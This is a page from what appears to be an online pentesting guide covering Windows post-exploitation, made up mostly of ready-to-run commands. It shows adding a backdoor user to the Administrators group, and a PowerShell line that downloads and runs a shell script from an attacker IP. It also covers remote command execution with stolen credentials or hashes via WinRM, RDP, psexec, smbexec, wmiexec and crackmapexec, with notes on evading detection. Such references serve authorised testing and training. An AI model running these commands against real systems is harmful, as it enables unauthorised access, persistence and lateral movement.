The Pentesting Guide
TwitterBlog
  • The Pentesting Guide
  • ℹ️0 - Pre-Engagement
  • 🔍1 - Information Gathering
  • Passive (OSINT)
  • Active
    • 🕵️HUMINT
    • WIFI
    • IP & Port Scanning
    • Services
      • 21 - FTP
      • 22 - SSH
      • 25 - SMTP
      • 53 - DNS
      • 80,443 - WEB
      • 88 - Kerberos
      • 110 - POP3
      • 111 - rpcbind
      • 161 - SNMP
      • 389 - LDAP
      • 139,445 - SMB
      • Active Directory
  • 💣2 - Exploitation
  • Brute Forcing
  • WEB
    • Apache Tomcat
    • Authentication
    • Broken Access Control
    • Cache poisoning
    • Clickjacking
    • CORS
    • CSRF
    • File Inclusion
    • Host Header Injection
    • HTTP Request Smuggling
    • Information disclosure
    • JWT
    • OS command injection
    • PHP deserialisation
    • SQLi
    • SSRF
    • SSTI
    • Shellshock
    • Unrestricted File Upload
    • XSS
    • XXE
  • Web (OWASP Test cases)
    • 4.1 Information Gathering
    • 4.2 Configuration and Deployment Management Testing
    • 4.3 Identity Management Testing
    • 4.4 Authentication Testing
    • 4.5 Authorization Testing
    • 4.6 Session Management Testing
    • 4.7 Input Validation Testing
    • 4.8 Testing for Error Handling
    • 4.9 Testing for Weak Cryptography
    • 4.10 Business Logic Testing
    • 4.11 Client-side Testing
    • 4.12 API Testing
  • WIFI
  • HUMINT
    • 🎣Gophish (Phishing)
    • Malicious Phishing Files
    • Phishing Evaluation
  • BoF - Windows(x86)
  • Active Directory
    • Kerberos
    • GPOs
    • Certificates
    • LAPS
    • Domain Trusts
  • 👿3 - Post Exploitation
  • File transfer
  • Shells
  • Situational Awareness
    • Containers and VMs
    • Linux
    • Windows
      • Dumping Credentials
      • Countermeasure Evasion
    • Active Directory
      • BloodHound & SharpHound
  • General
    • Linux
    • Windows
  • Local Privilege Escalation
    • Linux
    • Windows
  • Persistance
    • Windows
  • Cracking
  • Pivoting
    • Tunnelling & Port Forwarding
  • Lateral Movement
  • WIFI
  • 📓4 - Report
  • 🧹5 - House cleaning
Powered by GitBook
On this page
  • Introduction
  • User
  • Creating a user
  • Add a user to a group
  • Add a user to the RDP group
  • Powershell credentials and how to use them
  • Recursive Grep (Powershell)
  • Remote Command Execution
  • WinRM
  • Remote Desktop (RDP)
  • SMB
  • PSEXEC
  • SmbExec
  • Crackmapexec
  • WMiexec
  1. General

Windows

Introduction

In this section, you will find several useful commands for the Post-Exploitation phase in Windows systems.

User

Creating a user

net user <USERNAME> <PASSWORD> /add

Add a user to a group

net localgroup Administrators <USERNAME> /add

Add a user to the RDP group

By default, you cannot log in as a user through RDP unless it is a member of the "Remote Management Users" group.

net localgroup "Remote Management Users" <USERNAME> /add

Powershell credentials and how to use them

If you have obtained some credentials and want to perform an action impersonating the actual account, you can use PowerShell.

# Storing the credentials as variables
$pass = ConvertTo-SecureString '<PASSWORD>' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $pass)
# Launch a process
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:5555/shell-admin.ps1')" -Credential $cred

Recursive Grep (Powershell)

There is not a grep command on the Windows system, but thanks to PowerShell we can achieve something similar.

Get-ChildItem -Recurse [-Include *.config,*.txt,*.ini] [-Exclude *.dll,*.exe,*.jar] | Select-String "<STRING>" -List | Select-Object -ExpandProperty Path | Out-String
# Shorter version
dir -recurse *.* | sls -pattern "foobar" | select -unique path

Remote Command Execution

During a pentest, it is quite common to obtain credentials that can be used for getting access to other machines. However, most Windows machines will lack of CLI services like SSH to execute commands remotely. Nonetheless, there are other Windows services that can be used to perform the same actions.

WinRM

Port: 5985

Windows Remote Management (WinRM) is a protocol that allows systems to access and exchange management information. An attacker can use this protocol to obtain RCE.

In order to check who can use the WinRM Protocol run the following command.

(Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
# If the service is disable, you can enable with the following command
Enable-PSRemoting -Force  

During the session, the commands you type are executed on the remote computer, as if you were typing directly on the remote computer, but you can have only one interactive session at a time.

$pass = ConvertTo-SecureString '<PASSWORD>' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $pass)
Enter-PSSession -Computername <IP> -Credential <CRENTIAL>

As an alternative, you can use tools like evil-winrm or crackmapexec to execute commands.

evil-winrm -u USERNAME {-p <PASSWORD> | -H <HASH>} -i TARGET_IP
crackmapexec winrm <IP> -d <Domain Name> -u <USER> {-H <HASH> | -p <PASSWORD>} -X 'whoami'

Remote Desktop (RDP)

Port: 3389

If the user is a member of the "Remote Management Users" group and port 3389 is available, an attacker with the users' credentials could connect to the victim's computer.

rdesktop -u <USER> -p '<PASSWORD>' <IP>
xfreerdp +compression +toggle-fullscreen +clipboard /cert-ignore /dynamic-resolution  /u:<USERNAME> /p:'<PASSWORD>' /v:IP
impacket-tstool.py '<DOMAIN>/<USERNAME>:<PASSWORD>'@<IP> qwinsta
SESSIONNAME  USERNAME                 ID  STATE         Desktop   ConnectTime          DisconnectTime
============ ======================== === ============= ========= ==================== ====================
Services                              0   Disconnected            None                 None
Console                               1   Connected     Locked    2025/03/02 13:52:43  None
RDP-Tcp#0    .\Administrator          2   Active        Unlocked  2025/03/03 07:23:07  2025/03/03 07:23:07
  • /dynamic-resolution: This allows us to change the size of the window, adjusting the resolution of the lens in the process.

  • /size: WIDTHxHEIGHT: Set a specific size for machines that do not automatically resize with /dynamic-resolution.

  • +clipboard: Enables the use of clipboards.

  • /drive:<LOCAL_DIRECTORY>,<SHARE_NAME>: Creates a shared drive between the attacking machine and the target.

Note: A useful directory to share is the /usr/share/windows-resources directory in Kali, because it contains several Windows tools like Mimikatz.

SMB

Port: 445

The SMB service can always allow an attacker to execute remote code against a windows system, as long as you have a valid account on that machine with sufficient permissions to create and run a service.

There are different tools that can achieve this goal, each one in its own way.

PSEXEC

Uploads to ADMIN$ a service binary with an arbitrary name. The obtained reverse shell is not interactive thus programs like PowerShell, vssadmin and plink will cause the service to fail.

Furthermore, there is a high probability of being detected by AVs or EDRs.

psexec.py [-hashes <LM:NT>] <DOMAIN>/<USERNAME>[:<PASSWORD]@<TARGET>

SmbExec

Creates a service in the same way as psexec but it does not drop any binary on the host so it is stealthier than psexec. However, it is still a non-interactive shell.

smbexec.py [-hashes <LM:NT>] <DOMAIN>/<USERNAME>[:<PASSWORD]@<TARGET>

Crackmapexec

# Execute Powershell
crackmapexec smb 10.10.10.10 -u '<username>' -p '<password>' -X '$PSVersionTable' 
# Excute command
crackmapexec smb 10.10.10.10 -u '<username>' -p '<password>' -x whoami 
# Pass-the-Hash
crackmapexec smb 10.10.10.10 -u '<username>' -H <NTHASH> -x whoami 

WMiexec

It creates a semi-interactive shell without installing any service or agent, being the stealthiest of the before mentioned.

wmiexec.py [-hashes <LM:NT>] <DOMAIN>/<USERNAME>[:<PASSWORD]@<TARGET>

Last updated 1 month ago

Use Impacket tstool to check if the user is already connected, avoiding been detected.

⚠️